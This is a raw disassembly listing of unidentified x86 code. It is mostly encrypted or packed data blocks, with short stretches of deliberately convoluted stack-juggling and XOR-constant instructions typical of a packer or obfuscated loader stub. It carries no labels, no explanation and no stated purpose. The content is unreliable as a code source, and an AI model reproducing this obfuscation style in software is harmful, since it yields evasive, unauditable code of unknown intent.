70BF20C0h, 2A599E61h, 0DB4EF156h, 4E2372DBh dd 0B27F25F0h, 0F5E85CC2h, 541862Ch, 0DC76D309h, 1D63924Eh dd 14DB4EE7h, 0DFF342ABh, 0EC94C310h, 45DB4EE6h, 186897DCh dd 19DB4EE7h, 3B0361B0h, 6E3BE1A8h, 69C794FDh, 581D2E9Fh dd 0D25A2655h, 6ED7DB4Eh, 70D90F3Ah, 6A9407CFh, 0EE57C0C1h dd 53FAD21h, 5C93B7F3h, 27A527ECh, 43C072D8h, 97F7B016h dd 35000000h, 0E3164A86h, 6A0EA00Dh, 54A34914h, 0BA872DF6h dd 35FF925Ch, 0C932D8A2h, 55228BFCh, 10F371DFh, 0B595A147h dd 1B7946ECh, 0E39DCC4Eh, 0E5DB4E88h, 3D420E1Dh, 0BD26F1E5h dd 0A5138754h, 0E93244BFh, 97E4B016h, 0F9C66C39h, 821F6188h dd 0A912DB4Eh, 57F25Ah, 86300000h, 20760A39h, 52BBDB4Fh dd 36DCA503h, 7D46A4F1h, 72990AD7h, 0DB4F210Eh, 5E2BD198h dd 6AB922EDh, 770C4895h, 264EECECh, 186897DCh, 19DB4EC1h dd 370361B0h, 0C1ADC491h, 0F1976083h, 0AA759BE5h, 6B083704h dd 79DB4F20h, 1C26D193h, 0BBB01642h, 1, 5AB75F9h, 0F09662C0h dd 217FCCA1h, 0DCA4D355h, 55DB4F20h, 45B683ECh, 20AFD100h dd 1982DB4Fh, 0FEA46CCAh, 0ED4B1031h, 3DAE7B21h, 1FC282EEh dd 55FBC255h, 826BA7ECh, 37DACD3h, 2EDB4E4Ch, 0B1FF91C5h dd 8FEC004Fh, 0B2E12646h, 0D13766C5h, 0C826F35Ch, 7F4E5A00h dd 65B45A21h, 0CC993F07h, 11EE59Dh, 281C08D5h, 3B47EDB5h dd 0A022935Bh, 0A38BF8Fh, 0FE82B1F6h, 33D500A2h, 369461CAh dd 0BFBC86Eh, 844CBFA5h, 58EAD2DEh, 9AB6583Ch, 0DAC3A95Eh dd 0EB3ADCD0h, 13583h, 0DDF8C100h, 0CEFD4A8Fh, 0DB4F20B2h dd 7AC7167Fh, 3841404Bh, 0DBA811D1h, 30FB57Dh, 0FFC85B23h dd 0C523F059h, 2C8A57FDh, 90EEBB61h, 6A521FC5h, 0A28A4004h dd 22FD1F5Bh, 0EEEAFC26h, 0CE31339Fh, 85546006h, 45F93E49h dd 7ECD671Dh, 5B0B0E18h, 43ADB6h, 0F8EB0000h, 16458AE2h dd 0DB4F223Ah, 2D69AE17h, 0EF069C39h, 17EC3BC9h, 0FDA36CCAh dd 6107D230h, 67AA9F8h, 16DB4E3Dh, 2662B4B0h, 974F8710h dd 492473D6h, 6998DD91h, 0DB4E52E7h, 55F5016Ah, 9Eh, 8FDDF80Bh dd 4FEC1B4Ah, 7DDBD138h, 0CD3E0BB1h, 0BD77AB7Eh, 0FFFA8642h dd 0B1FECB34h, 97E68C53h, 20007139h, 0EC070389h, 3795DA43h dd 8C93C76Dh, 3A67973Eh, 916074C3h, 49E53A55h, 0F8C3E05Eh dd 0AB148552h, 9036FE5Ch, 73E194C3h, 10FCD501h, 43E9B154h dd 0DDF9C2FEh, 0DA2C506Ah, 0BB1A778Bh, 593D6CB1h, 88CAD4EFh dd 2CF4521Fh, 0B498B986h, 7A05D0B0h, 0CA3B08AEh, 0A9ED1C61h dd 0BEC4819Eh, 0FC3E4271h, 8AF3C85Ah, 0BAFF683Bh, 0A4FCBB7Eh dd 0E00F1463h, 0C85A86A0h, 70BF2891h, 2886125Ch, 8C67B65Ch dd 95F85849h, 48C5028Bh, 2B6B9ADFh, 0B6D12187h, 5A22804Dh dd 0E5D7A9D8h, 0F15AD4FAh, 0D49C7C88h, 0A832612Eh, 963460D2h dd 1C93C28h, 0EFB8165Bh, 6E6FA49h, 6DCB983Eh, 0C2DFAA0h dd 7CDA3C28h, 5EBC0BB1h, 4E4F096h, 0F351963Ch, 43B48127h dd 3011FF4h, 0B7000000h, 0AF758C54h, 16DE3C09h, 7945A370h dd 0E1A806D3h, 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h dd 0D8A301CEh, 56E86532h, 0C681E689h, 4, 8704EE83h, 895C2434h dd 1E68242Ch, 8900005Ah db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push edi mov edi, 6DA32B3Ah mov edx, 6BF07B9Dh xor edx, edi mov edi, [esp] add esp, 4 push 7C0Eh mov [esp], esp add dword ptr [esp], 4 pop ecx push edx push ecx mov ecx, 355C096Ch sub [esp+4], ecx pop ecx pop dword ptr [ecx+8] add dword ptr [ecx+8], 355C096Ch push dword ptr [esp] pop ecx add esp, 4 mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_546EAD ; --------------------------------------------------------------------------- dw 0B8DDh dd 6535549h, 0E0FFC503h, 53DD5365h, 31E367Eh, 0CBDA655h dd 70C36971h, 64186488h, 6D408051h, 36B07DF1h, 606523Eh dd 1B74E2D1h, 39F59599h, 4AE3A8CCh, 2D409F82h, 11237B04h dd 194BFA3Fh, 7A5B28BEh, 589ED566h, 1D55CA61h, 23DD01BDh dd 0A2D7222h, 30A5AFF0h, 4F4E5A53h, 7A04683Ah, 5E522A8Dh dd 38CB9A5Ah, 3B604D4Ah, 5F069F48h, 8EBh, 0E28A0000h, 0C0E93B94h dd 68000004h, 653574Eh, 0FA296CE9h, 57F268FFh, 62E90653h dd 68FFFA29h, 653595Ah, 0FA2958E9h, 741AE0FFh, 17BD8868h dd 0BB612B0Bh, 5C02CFAFh, 1A77050h, 9CFDF3F5h, 41212DD3h dd 0E8C8D47Ah, 8A6A761Ch, 79101CC2h, 0CB037DACh, 232ED4FBh dd 9137005Eh, 0AC757A42h, 13DB3906h, 0D104616Dh, 0AB09569Bh dd 6B153CE2h, 0C6DB4F20h, 9A03A970h, 3CCFFE4Bh, 15D1382Dh dd 0C4B0DFACh, 0BCD50214h, 5BEB164Eh, 9BB65B4Eh, 81E0DE5Fh dd 3C8B6C63h, 333D4h, 0C5F21200h, 973D0664h, 2F0A59CAh dd 5281C6A6h, 0D138470Dh, 0D8367BE4h, 4411670Dh, 1160D19Eh dd 615398C1h, 0E644D884h, 3BAC791Fh, 0A8C411ECh, 0A8EF3463h dd 0A912CD85h, 983E0664h, 360B5ACBh, 0ADF27A5Bh, 8985571h dd 0CA65993Fh, 0A8F544A8h, 39550579h, 7EC32CC7h, 6DB25820h dd 4D9C420Fh, 0EB915939h, 0A88923D3h, 9AB88D84h, 32Ah dd 4B57FDC3h, 0EEFAA06Bh, 929E440Eh, 333FE5B2h, 0D8E48A53h dd 0B47DD2D6h, 5B22020Eh, 0FDC9A9B5h, 0A36B4B57h, 8D5AF1FDh dd 0FBCA225Eh, 0C4040FD4h, 1B464A86h, 8629A83Dh, 4E9A2957h dd 369F08DBh, 237218E0h, 27F28D48h, 86D31881h, 4E9A2957h dd 509F08DBh, 8D58B603h, 99A4DC0Bh, 248DDB4Eh, 394776BBh dd 0F8DB4E99h, 2311408Fh, 0FED121F1h, 0C7035095h, 0FCD97766h dd 419FEE1Ah, 0E6C6D278h, 7BAA771Dh, 0D4FB95FAh, 2352D49Ch dd 0D4FB955Dh, 49156BD4h, 0FC65D6A3h, 0B73C38E4h, 0A1BF9492h dd 286h, 0EFFBA167h, 929E440Fh, 3642E8B2h, 0D7E38956h dd 7C882EF7h, 5821767Ah, 0FFC6A6B2h, 0A16D4D59h, 470FEFFBh dd 31FE95A1h, 0FBC97E02h, 68A8B3D4h, 0D7A2DDF8h, 5483C831h dd 0D12278E0h, 0DC0BD841h, 0D4FBCA98h, 0C28F35FEh, 29F69C64h dd 77238EDh, 56C47286h, 0A767CE8h, 152DA89Ch, 0C2B64520h dd 1BCh, 3CAD7500h, 1B6FDD14h, 0CF7542BFh, 0D230FD66h dd 8958640Ah, 0CCF4574Dh, 0E82D40DDh, 4EB9C7B9h, 0B2016ADBh dd 296EFED7h, 37D5D1FAh, 0E1A806D1h, 0B019EC3Bh, 9DC0B4E3h dd 0ED6D501h, 703D9B68h, 0C2C1FDCAh, 0F0BBA1E5h, 77ED5333h dd 0BA23C994h, 7964E04Eh, 0B65B83E9h, 59FFCB29h, 3FD4508Ch dd 0B4C7564Fh, 4094FC4Bh, 0D2000000h, 0BA602886h, 84F49B86h dd 27760BB8h, 9EE3894Ch, 379E146Fh, 3766B3D1h, 0D5019D49h dd 5D307FE8h, 2E973D07h, 9D423261h, 0D03ED501h, 0C1D96994h dd 0BB19B65Bh, 0D7E4BF1h, 0B956BEh, 75940000h, 0AC521AADh dd 18E58B56h, 13713EA7h, 46ECB74Ah, 0EAB210DDh, 0D5A1FF44h dd 0AD0BE02Fh, 0BEFA3FE5h, 663296EBh, 87938CC0h, 2FFCA26Eh dd 0F20655BEh, 4E271541h, 0D37941DBh, 16B6AC7h, 0D3758DBCh dd 53BCD13Eh, 41E7B00Eh, 0E68C5535h, 0B40038CEh, 819F7492h dd 11Eh, 576309CFh, 0FA06AC77h, 9EAA501Ah, 3F4BF1BEh, 0E4F0965Fh dd 0C089CEE2h, 672E0E1Ah, 9D5B5C1h, 0AF775763h, 9966FD09h dd 0FBC8166Ah, 0D0101BD4h, 3D3BAC75h, 555C26B7h, 0D32065CEh dd 4EE5DCA4h, 9DEC55DBh, 70E1A989h, 85CEBC91h, 5460C9BEh dd 0B55B2785h, 0F004ACE8h, 0A3F3673Fh, 7523EB3Ah, 0DC3A07ADh dd 0CB296E14h, 3C045A00h, 958C996h, 2F3D98F5h, 6EA4BBEAh dd 194DD138h, 286AC7D5h, 74B92246h, 43C4E038h, 49988752h dd 2FD59EFCh, 2BF65423h, 6F114085h, 0C2D501FFh, 99DB0A59h dd 0FDD501FFh, 0A3838F35h, 4BAB69DAh, 0BDAC4DD8h, 67698754h dd 1F000000h, 4A8FDDF8h, 2278251Bh, 0D6A30CD1h, 0FE0AB078h dd 0E3B0561Eh, 6483E8B4h, 4CF86618h, 204FD199h, 97340F60h dd 0F3FF68D1h, 0D8A54B13h, 3C3CAD7Ah, 0ED73272Ah, 20410E77h dd 99E6083Ch, 3368166Ah, 0FAC51B97h, 0AD168754h, 9238005Eh dd 38DEA686h, 104D6Bh, 86030000h, 20760A39h, 6830DB4Fh dd 3F8EF7C2h, 0AF75F8C0h, 16DE3C09h, 7945A370h, 0E1A806D3h dd 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h, 0D8A301CEh dd 68E86532h, 4679h, 53241C89h, 0C381E389h, 4, 4EB81h dd 1C870000h, 4895C24h, 57DD6824h, 14890000h, 6CBF5724h dd 4F6CAF10h, 7469BB53h, 0DF013936h, 3E7C15Bh, 0EF814F47h dd 28D8D035h, 685FF889h, 40FBh, 83242489h, 5A042404h, 8904EC83h dd 428F2404h, 2434FF08h, 4C4835Ah, 582434FFh, 0E904C483h dd 0FFFA24B9h, 0B8B8010Eh, 6535A9Dh, 0E0FFC503h, 51BDCF44h dd 4260F8Ah, 42303EA9h, 0B13EE853h, 0F532565Dh, 0F501EEACh dd 0B1325655h, 0B13256ABh, 0E8BD4FD5h, 0EBE42BEAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132545Dh dd 0BB3581AEh, 0A3325257h, 0A6325DABh, 1F3271D5h, 0F93256E8h dd 0F9325677h, 0B1F27DB8h, 0BFDA565Dh, 0DF3256AEh, 0CB97CA58h dd 0F713DE80h, 636F62D2h, 0A2DBCA49h, 4E325675h, 0AA184376h dd 46C4C7E5h, 22B09BCAh, 5EFC9F87h, 60B3D357h, 889BAD3Dh dd 0B1325003h, 25D5F075h, 2CB16487h, 0D1623703h, 0B13DBF32h dd 0A9C95657h, 75E500DAh, 8141B478h, 0EDFD7843h, 0B122BF10h dd 507A56BAh, 0ACC6915Bh, 0A852353Ch, 64BEE989h, 9AF8D41h dd 0E10D1F62h, 33FFC08Bh, 7FFB86E6h, 2DB7AA55h, 0B1325BB4h dd 569457AEh, 32006BC3h, 6E4C6FABh, 59B3A3F9h, 83BC7CF2h dd 0B132509Ch, 75E500BAh, 2C41B4F0h, 0BEA737F7h, 0E1600666h dd 0EB0359F9h, 0D103598Dh, 0EB6A0C8Bh, 9576DF2Dh, 0E16006BEh dd 0B13FBF0Fh, 87E356AEh, 733FF260h, 0BF3B4678h, 0BEF76AFAh dd 0B134BFDBh, 96D45675h, 72402B6Eh, 803D0E07h, 0B1324247h dd 7B073A57h, 27830E90h, 93DF52C2h, 0DFDB2659h, 0CB97CA7Ah dd 0E96A0C91h, 830F565Dh, 0CF0B562Dh, 0EBC77A88h, 87320EF3h dd 733FF2E2h, 0E953CB39h, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B1DA36EAh, 0EB325675h dd 0ECD3BC3Bh, 34BF500Eh, 0B760F681h, 0EA05D4DEh, 33BF50F8h dd 0B761B146h, 0EA09D463h, 0FFDA5026h, 593256B3h, 0B1325626h dd 0EA15D469h, 0B1325004h, 776056ABh, 0FC14B350h, 0E35A00ECh dd 4EAEFECDh, 0FC397F0Fh, 66B7DB5Bh, 4E3406DBh, 2CB7DF87h dd 0DB341BA8h, 0A1323ED1h, 0F15A56EAh, 0DB325578h, 0EBE2A9BAh dd 82469656h, 0EA15D427h, 33BB5004h, 0B7610D80h, 0B23F166Ch dd 82CADDEAh, 0E398A5B5h, 0B15A52D0h, 0D932564Dh, 0B13252AEh dd 23CD563Dh, 0B77F5536h, 0CAB0DF8Fh, 0D03405B1h, 0EA15D3FEh dd 0D1F150E9h, 0BE87D49Ah, 0B13250E3h, 33F55617h, 0B77F5542h dd 0B13246D5h, 3A52958Bh, 0E26971CFh, 0B10DD5BCh, 0CEB17529h dd 0BA4654BEh, 0B52229D4h, 76B158DFh, 76D8BDC1h, 0B13346ADh dd 43D95675h, 0B222117Dh, 5A32565Dh, 0E4F13747h, 5952BADCh dd 0B13256ABh, 67D8D78Fh, 3A3405B4h, 0E26929C7h, 0B977DDBCh dd 33B150D4h, 0B7610DD1h, 73FB3753h, 595256AFh, 0B13256D5h dd 4BD8D7B0h, 3A34052Bh, 0E2692D08h, 0CE806D5Bh, 0C53405F5h dd 3A0CDD6Ch, 0FE845974h, 0B075A0D4h, 0B236236Ah, 9A30BDACh dd 3A711563h, 0FC17F7D8h, 0D8BFDDA8h, 8A341B5Ah, 8A3B2473h dd 3237210Ch, 78D9522Ch, 0B946994Eh, 0BC5BEB33h, 6D95010h dd 595295CFh, 0B1325657h, 0E3D8D7F1h, 3A34058Ah, 0E2692D50h dd 0B032EF73h, 710156BAh, 33B9FDAEh, 0B7610DD5h, 0EA4DD4DEh dd 725350F8h, 0B132BEB5h, 306856EAh, 0E26D2A9Fh, 54B790BCh dd 0E7341B7Bh, 0AE5F6FC6h, 9887A983h, 3C341BA0h, 0E1478150h dd 0E3E2A9ECh, 31323E25h, 0B15856BAh, 0EA15E4A2h, 61CD50FDh dd 0B15A0C0Fh, 0DB32562Bh, 0CA80A9D5h, 4E3405B1h, 0E4F137A5h dd 5952BA31h, 0B132565Dh, 7BD8D7F4h, 3A340508h, 29DA5EDEh dd 0E43256D7h, 0EA05C415h, 8A6F5026h, 5F475ACFh, 0B130D0B5h dd 73FB37AEh, 3A67565Fh, 4DF6D547h, 59610183h, 0B13256EAh dd 4FD8D72Fh, 3A3405E5h, 0CCB95E28h, 596401BEh, 0B1325660h dd 904696A0h, 4E67AE5Eh, 0E2696178h, 0C4090B73h, 0D72022B6h dd 56B248D6h, 312CDC5Eh, 2CDAA6B4h, 5A3256ADh, 4D4FDF01h dd 4ECC0B02h, 0EF6D0D8Ah, 78CE1331h, 0E4325A9Fh, 75B1BA25h dd 0E06401AFh, 497791F8h, 0B13256D5h, 0EA55D42Dh, 0B1335026h dd 0C4B956BAh, 0AFB93055h, 0EA15EC25h, 0EEB95004h, 0C5E95DA3h dd 0C4EC6DDAh, 0BD6FDDECh, 323E09FCh, 5BD9427Dh, 312CDD3Bh dd 353DBE55h, 0B1325699h, 0BEDBAD2Bh, 0B1329351h, 5AC9D6EAh dd 0B18ED27Ah, 4AB256BAh, 1DB659BFh, 313256AEh, 353DB5ACh dd 0B1325631h, 0D6C9D7B3h, 29B65909h, 31325675h, 3054A65Dh dd 0BEB259A6h, 0B132C72Ah, 41D1D657h, 0BE42AD2Bh, 0B132D351h dd 0AFB930EAh, 31CAB5F5h, 0F346EE41h, 0C53768DDh, 9C0CD693h dd 8FB26E23h, 4E0122C3h, 0E2693157h, 0AFB930ECh, 0D7CAB1F5h dd 59B3AD3Bh, 3A547629h, 41D5D6B0h, 30C9D731h, 0D121226Bh dd 86A0A980h, 0EC3405B1h, 0D0CE13FCh, 0B0CE2B39h, 0BB93528h dd 0B77F591Bh, 0D6B0DD07h, 883405F0h, 0C36A66E9h, 5888DDBAh dd 0E1341B76h, 0EA55D431h, 8D0B500Eh, 8C4D0E9Eh, 0F4F546BCh dd 0B1325453h, 7635BDD5h, 0B133AEAFh, 0BB95675h, 0B7610D9Dh dd 6A3949D6h, 6F0949DAh, 0ECB95922h, 494FD5A7h, 0B23122D5h dd 0EEBBAEB7h, 0A5F5D571h, 7101B451h, 0B13296B4h, 0AFB930AEh dd 313E2BDCh, 0BB46BD50h, 31C2B555h, 0A7462611h, 0B6F4649Eh dd 0B0759153h, 0B132565Dh, 71B19125h, 0B1A5BF52h, 765456ABh dd 3B3A59D2h, 0BED1D6F4h, 39B29DF5h, 0F6F557E5h, 0B132565Fh dd 32F5DDAEh, 0C8D95097h, 210CD7CDh, 313D2245h, 0BF47C6D4h dd 4E4CD713h, 0B346C62Ah, 76B952B6h, 33BF0945h, 0B7610DD4h dd 23CD00FBh, 0B7610DEEh, 0BB4696E1h, 3BF9EFEh, 0B7610D39h dd 3A6446B6h, 23CD0360h, 0B7610D60h, 46FC7DF6h, 0CCB1080Ch dd 0A1475712h, 0D7981FC5h, 0D7B75902h, 0F78459F6h, 0AAD9FDAFh dd 0B3CA2BD4h, 95445DEh, 1A549FDEh, 353DEE8Ch, 73DFD13h dd 5A9957FCh, 3A96A55Fh, 0EF6B0D69h, 0B9F09F08h, 5DB903ABh dd 0B132BEB5h, 306856EAh, 0E2500A9Fh, 0B977DDBCh, 0EA1DD4D4h dd 785350FDh, 0E4325295h, 75B1BA20h, 0B1DA362Dh, 0EB3256EAh dd 0D34FBCF4h, 0F4F550E9h, 0B13256A5h, 4D7791AEh, 0B1325657h dd 3A549698h, 0D6B091CBh, 0B03405B1h, 0D7325675h, 21A2AD3Bh dd 4AB25628h, 0B9B65946h, 0F1325656h, 0BEDBAD2Bh, 0B132A851h dd 4AB216EAh, 45B6599Eh, 0F13256BAh, 0D7C2B1DDh, 313DAD2Fh dd 0B1D7D258h, 333156ABh, 0B77F566Ch, 53C9D6AAh, 0B1FCD27Ah dd 4AB256BAh, 0DB659BEh, 0D73256AEh, 5255ADD6h, 0B188D2A4h dd 52B256D5h, 0C1C9D61Ah, 0B187D27Ah, 3A5456BAh, 49D1D643h dd 0C58AAD2Eh, 0B40CD610h, 8FB214DFh, 310F22F8h, 89463ED4h dd 0D6B0A935h, 0D73405E1h, 56B248D6h, 4AB33056h, 9546BED6h dd 312CDDCDh, 3054A632h, 0C5F2D711h, 4E673662h, 0E2696128h dd 0F4BB0B5Bh, 0CCB13752h, 343D57ABh, 0B1325783h, 0BE87EC5Eh dd 3A6250A7h, 0E26931F7h, 810E6FBCh, 0A0B05905h, 3A3256AFh dd 0FC31BFEDh, 33B906ADh, 0B7610DB2h, 0E9026AD3h, 0B1C8D97Ah dd 0BB956BAh, 0B7610D76h, 0EA19D42Dh, 38265004h, 0A175DF9Ch dd 0D6B0DD85h, 3A3405B1h, 386A6669h, 64DB5EE5h, 7632565Dh dd 0B130AEEBh, 0B6D95657h, 0B0CA136Ch, 3A3256D5h, 0E2697D50h dd 9AB0D573h, 0A53405E1h, 0F6BB61D4h, 0B2CAD5BEh, 33F55A22h dd 0B7610DCCh, 0B13256D7h, 49B15301h, 326D2B77h, 0C532AEC7h dd 0F7845946h, 0B1B2FFAFh, 0B7475657h, 0B4DAD5EBh, 4E1F5E3Eh dd 323256EAh, 0BAD9539Dh, 0D6A8DDE9h, 3A340506h, 186965AAh dd 31325657h, 773142DEh, 0B2379656h, 0E2693168h, 0F6BB1E73h dd 0BD75DFB2h, 69C500B6h, 69C59085h, 0B23796D4h, 0E2693129h dd 0F6BB1ED3h, 0BD75DFE2h, 7101689Eh, 19331030h, 0B21323DDh dd 0B3F2D568h, 0B13257ECh, 0C5E95DABh, 5A8DCDCh, 31340449h dd 72315796h, 383A1133h, 0A5D95A1Ah, 4E178E59h, 9A325657h dd 32EAA16Dh, 0F6BB5415h, 0BD75DFE2h, 72FB378Dh, 32DEDDEFh dd 5952AA99h, 0B13256AEh, 3FD8D70Dh, 3A3405CFh, 0E269716Fh dd 32FB65ECh, 353D564Ah, 0B1325678h, 0C4CD51D6h, 0B947A9A2h dd 0B041BE07h, 0B44156ABh, 5A269156h, 4D77DF08h, 4E3E238Ah dd 86CD5ECFh, 0B1330AB5h, 26B059AEh, 3A325657h, 0B60BAAEEh dd 0B1BED4DAh, 0F4CD56EAh, 0B54DD589h, 323A22BAh, 0C5325A22h dd 93CBDACh, 4ECDA9A8h, 0B1325312h, 5A99A5D5h, 0A14DD529h dd 323D2270h, 0C43446C5h, 0F6B9174Ch, 0BD6DDDAAh, 0F6B915BCh dd 0BD6DDDAFh, 0F6B96F3Eh, 0BD6DDDEEh, 0C43A094Eh, 0E6B904AFh dd 0A1677D59h, 3A2603ADh, 6B195A08h, 0EB37BD28h, 0F6B9443Eh dd 0BD6DDDEEh, 3236095Eh, 3B315351h, 0B77F4454h, 0B222292Dh dd 9A735722h, 0B06EDF72h, 4ECDEED4h, 0B48BA915h, 42325675h dd 4E64BF11h, 7853A9A2h, 0E432466Ch, 75B1BADCh, 0B1DA3657h dd 0EB3256D5h, 0D44BBC6Bh, 0BB95026h, 0B7610D9Dh, 8EB19F6Eh dd 20B659AEh, 3A325657h, 0BD47A9ACh, 0E13A232Ah, 0B132DE02h dd 32372575h, 53D9427Dh, 4ECE13D4h, 0C4CD5ADBh, 5905A95Fh dd 0B13256DAh, 0F4B93CA7h, 0C3356F16h, 4D77A916h, 0B1362939h dd 0CEB15E29h, 0B34656A2h dd 4E8A58BCh, 8CDA954h, 0B13256D0h, 7AD9FD19h, 0B42229F6h dd 0CEB159CEh, 0A047504Dh, 0B575DDEFh, 5A3E09DCh, 0B575DDB6h dd 5A3E095Eh, 0B575DDF9h, 9A3E09FEh, 5AB152E5h, 0A14DD558h dd 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh, 8CDA92Ah, 0B13256EFh dd 36D9FD86h, 0B9F09FDBh, 5DB9035Dh, 0B977DDCEh, 0C33E136Ch dd 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h, 0BDF09F14h, 5DB903BAh dd 0D1CE92DEh, 0B1325646h, 5BB30C57h, 0B76130E4h, 6A019FE6h dd 3ACE0B63h, 0E26971CFh, 0B10DD5BCh, 8EB13229h, 32372351h dd 40D94290h, 0B1362928h, 0CEB15EA1h, 0B34656E6h, 0F4CD5E9Eh dd 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh, 0B72229D4h, 3A7347DEh dd 0EEB95292h, 3A2FBDE6h, 0EEB95232h, 3A21BDB6h, 0EEB9521Ah dd 0B56D7DA2h, 3237BDD4h, 0C43146D4h, 681917D4h, 0B0330A63h dd 4ECDA9CDh, 0B137EF45h, 1AC1565Dh, 3A53C145h, 72FBAA12h dd 596107FBh, 0B13256D5h, 6BD8D7B0h, 3C340513h, 0E2696920h dd 0B156EE5Bh, 63DA56AEh, 3A325657h, 5AF36DA0h, 0B57955C1h dd 0A64097D1h, 8A221D76h, 5A30247Bh, 5A26BD5Fh, 96A8DBBCh dd 4E340582h, 3C3ABD78h, 0E2EA1B4Fh, 0EAE1A9ECh, 0E4F10E2Ch dd 0B1DABA31h, 0EB32565Dh, 0D61BBC2Fh, 3C525004h, 0E2696911h dd 0B977DDD3h, 0F4B95163h, 0B575DF79h, 38221331h, 0F4B95A1Ah dd 0A175DFBAh, 0A1F09F36h, 34F436ABh, 0B77F7030h, 0C2283EADh dd 4CDFE62h, 0B77F5D93h, 0C4E5D3D0h, 61CD50FEh, 0DAB8DB05h dd 0E03405F0h, 3C68862Ah, 0E2693D68h, 0F1855973h, 0E3EADDB6h dd 0B2686752h, 40B0DF6Dh, 0D0341B76h, 0E85251C3h, 0 dd 9AEA815Ah, 52065367h, 21F1828Bh, 6DB9064Dh, 0F741C64Eh dd 39055AE1h, 25000030h, 7FFFFFFFh, 21F18289h, 595A064Dh dd 0E85251C3h, 0 dd 0CAEA815Ah, 8B065367h, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h dd 8BC3595Ah, 8DC08BC0h, 535DDB85h, 66D0FF06h, 858DC18Bh dd 6536793h, 0EC18589h, 858D064Dh, 65367C3h, 29198589h dd 0B8064Dh, 0B000000h, 47840FC0h, 0C6000000h, 4D26E585h dd 0DF685606h, 0FFA9C530h, 4D0B29B5h, 0D7858D06h, 0FF065075h dd 8D8D50D0h, 64D2B81h, 68046A51h, 1000h, 2A11B5FFh, 0D0FF064Dh dd 2A11BD8Bh, 7F03064Dh, 0F8C7813Ch, 0C7000000h, 202447h dd 9D8D6000h, 64D22D9h, 0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h dd 234CF6h, 69098D8Dh, 8D0F0653h, 6, 13C19D01h, 958B064Dh dd 64D26A9h, 5998D89h, 8166064Dh, 0C7329DE0h, 4D051D85h dd 748806h, 0AE900h, 0D71B0000h, 53499F02h, 62C745FDh dd 2E985C7h, 64Dh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0FFCACDC3h, 319589EAh dd 0FF064D25h, 4D3229B5h, 719D8B06h, 0F064D12h, 95FFC3BFh dd 64D2E55h, 2F2D8D09h, 0B503064Dh, 64D2FB5h, 95FF006Ah dd 64D0511h, 0AEBC08Bh, 0CDADD806h, 2B4C1A1Ch, 8D8DB466h dd 6536977h, 88F0Fh, 8B560000h, 4D0C419Dh, 8D895E06h, 64D0599h dd 0E7C4BFB8h, 1D85C725h, 2C064D05h, 8B000064h, 0E985C7F8h dd 64D02h, 66000000h, 0AE11E381h, 2D19B5FFh, 6E8064Dh dd 0A5000000h, 5B8A8E19h, 2D1DBF9Bh, 0FF5A665Eh, 4D2E5595h dd 6AF806h, 51195FFh, 0C08B064Dh, 7F2C79EBh, 5F68FBCFh dd 0F8CFE6E6h, 7BE68ABBh, 3ADAB403h, 0CEB371AEh, 11BA2114h dd 530D148Ah, 6E8409A1h, 5B9030BCh, 9156D889h, 550F9F58h dd 18313D48h, 0B6722024h, 0C95D75AEh, 0D16C54F2h, 0A967A53Fh dd 59774B10h, 0B9CDF8E1h, 0A768F324h, 86042BDAh, 88F5B82Ah dd 1E72D8F5h, 466B0561h, 0AAF878F8h, 22369F09h, 6A323DFBh dd 27645503h, 0D11BBF69h, 4DF6FACCh, 0E8C8FA46h, 10h, 36905507h dd 6F8603EDh, 0A91FF9FFh, 0D1C6C5F8h, 0B6C1C281h, 0F55F2D66h dd 5FC7C781h, 81660000h, 68CA71E0h, 17C8h, 12E951h, 0C9C50000h dd 0B7DE6D0Ah, 772C5Ah, 0BDA6AD13h, 0F73E9F81h, 0DC805B5Ah dd 0F80F8B31h, 1EE6C181h, 85234B7Ah, 64D26E9h, 371CE981h dd 0B58B3188h, 64D0E75h, 805E981h, 0E6816420h, 5900061Ch dd 0E58A0F89h, 8904EF83h, 4D1F818Dh, 850F4B06h, 0Fh, 5C5E17BEh dd 21E93Ah, 0A5850000h, 89028BB5h, 4D1E158Dh, 0FFABE906h dd 0D5E6FFFFh, 95D43F3Ah, 0F09F7377h, 0C29D5CB6h, 0E8294BD2h dd 8, 0FD6C201Eh, 5FAF1EB8h, 8ACA8050h, 12E8595Fh, 0F8000000h dd 9CD4A839h, 7DCA1BC2h, 4EB9F724h, 389AC313h, 0C9BD8B13h dd 5F064D25h, 6CCBC181h, 8E90000h, 3F000000h, 